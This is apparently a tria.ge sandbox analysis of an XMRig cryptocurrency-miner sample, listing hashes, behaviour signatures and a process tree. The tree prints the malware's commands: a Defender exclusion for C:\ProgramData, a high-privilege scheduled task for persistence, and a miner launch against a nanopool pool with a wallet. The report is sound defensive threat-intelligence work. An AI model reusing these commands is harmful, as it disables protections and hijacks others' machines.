Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    93s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20221111-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system
  • submitted
    27/12/2022, 10:29

General

  • Target

    e5bf61acc7b871c6ed3002773f2a29e662b66cb86083106d0c008274d081f23f.exe

  • Size

    2.7MB

  • MD5

    ea63a5502a59050d85dc9f162540a475

  • SHA1

    1826f54a746e1170a5c08b2f02112f4df03e0d06

  • SHA256

    e5bf61acc7b871c6ed3002773f2a29e662b66cb86083106d0c008274d081f23f

  • SHA512

    b1bf083160ac38f43f8d12ee17860d76ebd446520ec2aa14f5a5245df5fa0d29b9f763d843f938e703a4966199dab19787626cdb647330234dad5bc158efabf6

  • SSDEEP

    49152:ZjLGLxbmMkZSipMKC76+De6jK31EhC0+kF7LtS6wI7q6zrGuRvu:ZjLG+SSlCglcCLkFnq6Gn

Score
10/10

Malware Config

Signatures

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 6 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Uses the VBS compiler for execution 1 TTPs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 20 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\e5bf61acc7b871c6ed3002773f2a29e662b66cb86083106d0c008274d081f23f.exe
    "C:\Users\Admin\AppData\Local\Temp\e5bf61acc7b871c6ed3002773f2a29e662b66cb86083106d0c008274d081f23f.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of SetThreadContext
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:764
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2036
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "HMHM" /tr "C:\ProgramData\edge\HMHM.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:812
      • C:\Windows\system32\schtasks.exe
        schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "HMHM" /tr "C:\ProgramData\edge\HMHM.exe"
        3⤵
        • Creates scheduled task(s)
        PID:5092
    • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe -o xmr-eu1.nanopool.org:14433 -u 4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQoBJqYKAGMEQrLE8L8 --tls --coin monero
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:2184

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads

  • memory/764-143-0x00007FFEC9E40000-0x00007FFEC9F8E000-memory.dmp

    Filesize

    1.3MB

  • memory/764-144-0x00007FFEC8FF0000-0x00007FFEC9AB1000-memory.dmp

    Filesize

    10.8MB

  • memory/764-135-0x00007FFEE3070000-0x00007FFEE3082000-memory.dmp

    Filesize

    72KB

  • memory/764-136-0x00007FFECA2B0000-0x00007FFECA36D000-memory.dmp

    Filesize

    756KB

  • memory/764-137-0x00007FFEE6C70000-0x00007FFEE6E11000-memory.dmp

    Filesize

    1.6MB

  • memory/764-139-0x0000000000BF0000-0x0000000000F0E000-memory.dmp

    Filesize

    3.1MB

  • memory/764-140-0x0000000000800000-0x0000000000843000-memory.dmp

    Filesize

    268KB

  • memory/764-138-0x00007FFEC8FF0000-0x00007FFEC9AB1000-memory.dmp

    Filesize

    10.8MB

  • memory/764-141-0x00007FFEE5C00000-0x00007FFEE5C2B000-memory.dmp

    Filesize

    172KB

  • memory/764-142-0x0000000000BF0000-0x0000000000F0E000-memory.dmp

    Filesize

    3.1MB

  • memory/764-134-0x00007FFEE6020000-0x00007FFEE60BE000-memory.dmp

    Filesize

    632KB

  • memory/764-145-0x00007FFEE5150000-0x00007FFEE5177000-memory.dmp

    Filesize

    156KB

  • memory/764-154-0x00007FFEC4BF0000-0x00007FFEC4CF2000-memory.dmp

    Filesize

    1.0MB

  • memory/764-166-0x00007FFEC8FF0000-0x00007FFEC9AB1000-memory.dmp

    Filesize

    10.8MB

  • memory/764-165-0x0000000000BF0000-0x0000000000F0E000-memory.dmp

    Filesize

    3.1MB

  • memory/764-156-0x00007FFEE4520000-0x00007FFEE455B000-memory.dmp

    Filesize

    236KB

  • memory/764-149-0x0000000000800000-0x0000000000843000-memory.dmp

    Filesize

    268KB

  • memory/764-150-0x00007FFEC8FF0000-0x00007FFEC9AB1000-memory.dmp

    Filesize

    10.8MB

  • memory/764-133-0x00007FFECA370000-0x00007FFECA41A000-memory.dmp

    Filesize

    680KB

  • memory/764-155-0x00007FFEE63F0000-0x00007FFEE645B000-memory.dmp

    Filesize

    428KB

  • memory/764-153-0x00007FFEC5810000-0x00007FFEC5845000-memory.dmp

    Filesize

    212KB

  • memory/2036-147-0x000001FAB5B30000-0x000001FAB5B52000-memory.dmp

    Filesize

    136KB

  • memory/2036-148-0x00007FFEC8FF0000-0x00007FFEC9AB1000-memory.dmp

    Filesize

    10.8MB

  • memory/2184-163-0x000001B1958F0000-0x000001B195930000-memory.dmp

    Filesize

    256KB

  • memory/2184-159-0x0000000140000000-0x00000001407C9000-memory.dmp

    Filesize

    7.8MB

  • memory/2184-160-0x0000000140000000-0x00000001407C9000-memory.dmp

    Filesize

    7.8MB

  • memory/2184-161-0x000001B195770000-0x000001B195790000-memory.dmp

    Filesize

    128KB

  • memory/2184-162-0x0000000140000000-0x00000001407C9000-memory.dmp

    Filesize

    7.8MB

  • memory/2184-164-0x0000000140000000-0x00000001407C9000-memory.dmp

    Filesize

    7.8MB

  • memory/2184-157-0x0000000140000000-0x00000001407C9000-memory.dmp

    Filesize

    7.8MB

  • memory/2184-167-0x000001B227F90000-0x000001B227FB0000-memory.dmp

    Filesize

    128KB

  • memory/2184-168-0x000001B1958C0000-0x000001B1958E0000-memory.dmp

    Filesize

    128KB

  • memory/2184-170-0x000001B1958C0000-0x000001B1958E0000-memory.dmp

    Filesize

    128KB

  • memory/2184-169-0x000001B227F90000-0x000001B227FB0000-memory.dmp

    Filesize

    128KB